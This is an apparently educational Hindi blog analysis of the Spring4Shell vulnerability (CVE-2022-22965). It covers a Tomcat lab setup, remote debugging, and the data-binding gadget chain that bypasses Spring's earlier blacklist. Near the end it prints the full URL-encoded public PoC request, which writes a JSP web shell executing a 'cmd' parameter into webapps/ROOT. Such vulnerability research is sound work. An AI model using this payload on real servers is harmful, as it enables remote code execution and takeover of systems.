
CVE-2022-22965 (Spring4Shell) का गहन तकनीकी विश्लेषण, पर्यावरण सेटअप, डीबग वॉकथ्रू, और शैक्षिक प्रयोगशाला अभ्यास के लिए एक्सप्लॉइट श्रृंखला विवरण के साथ।
Spring4Shell Spring Framework के Spring Core पर मौजूद एक CVE का नाम है।
CVSS 3.x स्कोर 9.8 के साथ, इस दोष को उच्चतम जोखिम स्तर (critical) में वर्गीकृत किया गया है। यह दोष हमलावर को दूरस्थ कोड निष्पादन करने और दोष युक्त सर्वर को नियंत्रित करने की अनुमति देता है।
इंटरनेट पर Spring Core की लोकप्रियता और Spring4Shell के गंभीर प्रभाव को देखते हुए, विशेषज्ञों का मानना है कि इस दोष का प्रभाव Log4shell से कम नहीं है।
Spring4Shell इंटरनेट पर Spring Framework का उपयोग करने वाले सभी वेब अनुप्रयोगों को प्रभावित नहीं करता है, बल्कि इसके लिए वेब एप्लिकेशन में निम्नलिखित तत्वों का होना आवश्यक है:
मेरे द्वारा सेटअप किए गए वातावरण के पैरामीटर इस प्रकार हैं:
Apache Tomcat स्थापित करें
जैसा ऊपर बताया गया है, मैं Kali 2021.4a और Apache Tomcat 9.0.45 का उपयोग कर रहा हूँ। यदि आप Apache Tomcat स्थापित करना नहीं जानते हैं और Kali Linux पर स्थापित करना चाहते हैं, तो आप इस लिंक का संदर्भ ले सकते हैं।
नोट: लिंक https://mirror.kiu.ac.ug/apache/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz को https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz से बदलें
IDE चुनें
हमें प्रोजेक्ट को कोड करने, .war फ़ाइल के रूप में पैकेज करने और एक अत्यंत महत्वपूर्ण कार्य डीबग करने के लिए एक IDE की आवश्यकता है। मैं Intellij का उपयोग कर रहा हूँ, आप Eclipse या Netbeans आदि का उपयोग कर सकते हैं। बशर्ते वह IDE Java का समर्थन करता हो।
एक सरल दोष युक्त प्रोजेक्ट बनाएं
मेरा प्रोजेक्ट बहुत सरल है, इसमें शामिल हैं:
एक मॉडल HelloWorld.java

एक नियंत्रक HelloWorldController.java

एक व्यू hello.jsp

.war फ़ाइल बनाएँ
प्रोजेक्ट को पैकेज करने के लिए, इस प्रकार करें: Build -> Build Artifacts -> helloworld:war -> Build.
बिल्ड सफलतापूर्वक पूर्ण होने तक प्रतीक्षा करें, इस समय प्रोजेक्ट में एक नया फ़ोल्डर out दिखाई देगा, आप ./out/artifacts/your_war_name/ में जाएँ और एक फ़ाइल your_war_name.war देखेंगे, यह .war फ़ाइल संकलित और पैक किया गया वेब प्रोजेक्ट है, इस फ़ाइल का उपयोग Apache Tomcat जैसे Java Servlet पर डिप्लॉय करने के लिए किया जा सकता है।
यदि Build Artifacts धुंधला है (Build Artifacts नहीं किया जा सकता) तो इस प्रोजेक्ट के लिए Build Artifacts सेटअप नहीं किया गया है, इस पर जाएँ: File -> Project Structure -> Artifacts -> सभी मौजूदा आर्टिफैक्ट्स हटाएँ -> Add (+) -> Web Application: Exploded -> From Modules... -> OK (Exploded बनाना समाप्त करें) > Add (+) -> Web Application: Archive -> For 'helloworld:war exploded' -> OK। फिर Build Artifacts को पुनः निष्पादित करें।
डिप्लॉय और डीबग सेटअप
डिप्लॉय
Apache Tomcat पर .war फ़ाइल डिप्लॉय करने के लिए, बस .war फ़ाइल को Apache Tomcat निर्देशिका के अंदर /webapps फ़ोल्डर में कॉपी करें (उदाहरण: मेरे लिए, मैं helloworld.war फ़ाइल (आसानी से कॉल करने के लिए नाम बदल दिया) को /opt/tomcat/apache-tomcat-9.0.45/webapps/ फ़ोल्डर में कॉपी करूँगा)। फिर, Tomcat सर्वर को 2 तरीकों से प्रारंभ करें (Linux के लिए):
डिप्लॉय करने के बाद, http://localhost:8080/helloworld पर जाएँ
डीबग सेटअप
Tomcat को डीबग (रिमोट) सेटअप करने के लिए, निम्नानुसार करें:
सर्वर पक्ष:
catalina.sh फ़ाइल खोलें और JPDA_ADDRESS पैरामीटर के मान को localhost से वर्चुअल मशीन के IP में बदलें

Tomcat सर्वर को /opt/tomcat/apache-tomcat-9.0.45/bin/catalina.sh jpda start का उपयोग करके पुनरारंभ करें। इस समय, HTTP सर्वर के लिए पोर्ट 8080 खोलने के अलावा, Tomcat हमें कनेक्ट करने और डीबग करने के लिए एक अतिरिक्त पोर्ट 8000 खोलेगा
नोट: इस डीबग भाग में, मैं Windows 10 पर Intellij चला रहा हूँ और Kali वर्चुअल मशीन पर Tomcat चला रहा हूँ, इसलिए JPDA_ADDRESS बदलने की आवश्यकता है। यदि आप एक ही मशीन पर Intellij और Windows 10 दोनों सेटअप करते हैं तो बदलने की आवश्यकता नहीं है।
Intellij पक्ष:
Run -> Edit Configurations... पर जाएँ -> Add (+) -> Remote JVM Debug
नाम दें -> Host और Port को उस IP और पोर्ट में बदलें जो आपने catalina.sh फ़ाइल में बदला था -> OK -> Shift + F9 (डीबग प्रारंभ करें)

पहले, मैं डीबग करने के लिए अपने द्वारा उपयोग किए जा रहे प्रोजेक्ट का विश्लेषण करूँगा, जैसा ऊपर बताया गया है, यह प्रोजेक्ट बस सरल है:
मेरे पास एक उदाहरण है:

एप्लिकेशन ने Post अनुरोध के पैरामीटर से जानकारी ली और helloWorld{“person”:”Leo”, “message”:”Hi there”} ऑब्जेक्ट बनाया, यह helloWorld ऑब्जेक्ट helloPost फ़ंक्शन का इनपुट है। एप्लिकेशन ऊपर बताए गए कार्य करेगा और उपयोगकर्ता को वह प्रतिक्रिया लौटाएगा।
Post अनुरोध के बॉडी में पैरामीटर से helloWorld ऑब्जेक्ट में रूपांतरण की प्रक्रिया Spring द्वारा पूरी तरह से स्वचालित रूप से की जाती है, तो यह कैसे करता है और क्या यह इनपुट किए गए पैरामीटर को मान्य करता है?
यह छवि डीबग प्रक्रिया के दौरान कैप्चर की गई है, उदाहरण के लिए अनुरोध बॉडी "class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT" के साथ निष्पादित किया गया था (मैं बाएँ (स्टैक ट्रेस) को (1) और दाएँ को (2) कहूँगा):

(1) में मैंने ध्यान देने योग्य बिंदुओं को हाइलाइट किया है (नीचे से ऊपर देखें), तो Spring Post अनुरोध के पैरामीटर से helloWorld ऑब्जेक्ट के लिए applyPropertyValue निष्पादित करेगा। और यदि पैरामीटर केवल person=Leo&message=Hi%20there जैसे सरल हैं, तो Spring कीवर्ड 'person' को helloWorld.person और 'message' को helloWorld.message के अनुरूप ढूंढ सकता है।
लेकिन Spring हमें HTTP अनुरोध के माध्यम से ऑब्जेक्ट भेजने की भी अनुमति देता है (HTTP के माध्यम से ऑब्जेक्ट भेजना थोड़ा अतिशयोक्ति है, लेकिन मोटे तौर पर ऐसा समझा जा सकता है)। मैं मान लेता हूँ कि मेरी person विशेषता अब स्ट्रिंग नहीं है, बल्कि एक Person ऑब्जेक्ट है और Person में दो उप-विशेषताएँ हैं: name (स्ट्रिंग) और age (int)। और इस Person ऑब्जेक्ट के बारे में जानकारी सर्वर को भेजने के लिए यह होगा: "person.name=Leo&person.age=23"।
तो पैरामीटर का रूप A.B.C.D… = X होगा, न कि A=X। और A.B.C.D… = X रूप को संसाधित करने के लिए, मान लीजिए कि एक पैरामीटर A.B.C= X है, तो सरल शब्दों में Spring ऐसा करेगा, उपरोक्त खंड को getA.getB.setC(X) में बदल देगा।
मैं यह नहीं समझाऊंगा कि getA क्या है, बल्कि body अनुरोध "person.name=Leo&person.age=23" के मामले में उदाहरण दूंगा, तो Spring helloWorld ऑब्जेक्ट में person विशेषता और getPerson फ़ंक्शन की खोज करेगा, यदि है तो Spring helloWorld.getPerson() को कॉल करेगा, इस समय Spring को Person प्रकार का एक ऑब्जेक्ट मिलेगा, जिसे मैं अस्थायी रूप से person1 कहूँगा, और Spring person1 में 'name' विशेषता और setName (क्योंकि 'name' के बाद '=' है) की खोज करेगा, यदि है तो Spring person1 के लिए setName(Leo) को कॉल करेगा।
person.age के साथ, Spring फिर से शुरू से person और फिर age खोजने के बजाय पहले के पुराने ऑब्जेक्ट का पुन: उपयोग करेगा, इस मामले में helloWorld और person1।
उपरोक्त चरणों के बाद, इस समय सर्वर पर एक ऑब्जेक्ट helloWorld{person:{name:”Leo”, age:23}} होगा (अभी के लिए message विशेषता को छोड़ दें)।
तो Spring प्रत्येक ऑब्जेक्ट की विशेषताओं को कैसे ढूंढ सकता है, उदाहरण के लिए helloWorld ऑब्जेक्ट की 'person' विशेषता?
तो आप (1) की शुरुआत में CachedIntrospectionResults(beanClass) फ़ंक्शन देखें, यह फ़ंक्शन beanClass की सभी विशेषताओं को सूचीबद्ध करेगा। आप (2) में देखेंगे कि जब beanClass model.HelloWorld है, तो 3 विशेषताएँ हैं। जबकि मेरे द्वारा बनाया गया HelloWorld मॉडल केवल 2 विशेषताएँ 'person' और 'message' रखता है, तो उपरोक्त फ़ंक्शन ने एक अतिरिक्त विशेषता 'class' लौटाई है और यदि आप 'class' पंक्ति का विस्तार करेंगे, तो आप propertytype को 'java.lang.class' के रूप में देखेंगे।
तो हम java.lang.class प्रकार के एक ऑब्जेक्ट को प्रभावित कर सकते हैं -> यह इस Spring4shell का स्रोत (source) है।
उपरोक्त स्रोत से संबंधित, इस स्रोत से संबंधित एक CVE-2010-1622 पहले से मौजूद है। CVE-2010-1622 के लेखक ने payload class.classLoader.URLs[0] = X का उपयोग करके इस स्रोत का शोषण किया था।
क्योंकि java.lang.class क्लास में getClassLoader() फ़ंक्शन है जो एक ClassLoader ऑब्जेक्ट लौटाता है और यह ClassLoader Tomcat के URLs ऐरे (संसाधन लोड करने के लिए उपयोग किया जाता है) को प्रभावित कर सकता है। और URLs को प्रभावित करने की क्षमता के साथ, हमलावर URLs[0] के मान को एक URL पते में बदल सकता है ताकि एक दुर्भावनापूर्ण Jar फ़ाइल (हमलावर द्वारा नियंत्रित) तक दूरस्थ पहुँच प्राप्त कर सके।
इस दोष को ठीक करने के लिए, Spring ने CachedIntrospectionResults(beanClass) फ़ंक्शन में फ़िल्टर (ब्लैकलिस्ट) लागू किया:

यदि 'beanClass' == Class.class (java.lang.class) है, तो pd 'classLoader' और 'protectionDomain' से भिन्न होना चाहिए और इसका प्रमाण यह है कि CachedIntrospectionResults द्वारा java.lang.class की सभी विशेषताओं को लोड करने के बाद, दो विशेषताएँ 'classLoader' और 'protectionDomain' मौजूद नहीं हैं:

लेकिन इसके बजाय, JDK 9 से, Class.class ने एक अतिरिक्त विशेषता 'module' जोड़ा है और Class.module में classLoader विशेषता है:

→ तो JDK 9 या उसके बाद के संस्करण का उपयोग करके, Spring की ब्लैकलिस्ट को बायपास किया जा सकता है!!!
Spring4Shell दोष के सार्वजनिक PoC के आधार पर, हम देख सकते हैं कि वे जिस payload का उपयोग करते हैं उसका रूप है:
class.module.classloader.resources.context.parent.pipeline.first ⇔ Class.getModule().getClassLoader().getResources().getContext().getParent().getPipeline().getFirst()
डीबग के आधार पर, हम निम्नलिखित gadget chain देख सकते हैं:
java.lang.class.getModule() -> java.lang.module.getClassLoader() -> org.apache.catalia.loader.ParallelWebappClassLoader.getResources() -> org.apache.catalia.webresources.StandardRoot.getContext() -> org.apache.catalia.core.StandardContext.getParent() -> org.apache.catalia.core.StandardHost.getPipeline() -> org.apache.catalia.core.StandardPipeline.getFirst() -> org.apache.catalia.valves.AccessLogValue.
और AccessLogValue क्लास में निम्नलिखित विशेषताएँ हैं:

हम एक AccessLogValue ऑब्जेक्ट को कॉल कर सकते हैं और यह AccessLogValue Tomcat के लॉग लेखन को प्रभावित करता है।
→ हम Tomcat सर्वर पर AccessLogValue ऑब्जेक्ट की विशेषताओं को सेट करके फ़ाइल बना सकते हैं। ऐसा करने के लिए, PoC में उन्होंने Prefix, Suffix, Pattern, Directory और fileDateFormat विशेषताओं को सेट किया है। और payload अनुरोध इस प्रकार होगा:
"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
ब्रेकपॉइंट की सूची
डीबग प्रक्रिया को आसान बनाने के लिए, आप निम्नलिखित बिंदुओं पर ब्रेकपॉइंट सेट कर सकते हैं:

इस विश्लेषण में वास्तव में कोई निष्कर्ष नहीं है, यह खंड केवल पूर्णता के उद्देश्य से जोड़ा गया है!!!
यदि आप समाधान ढूंढ रहे हैं, तो वह यहाँ है।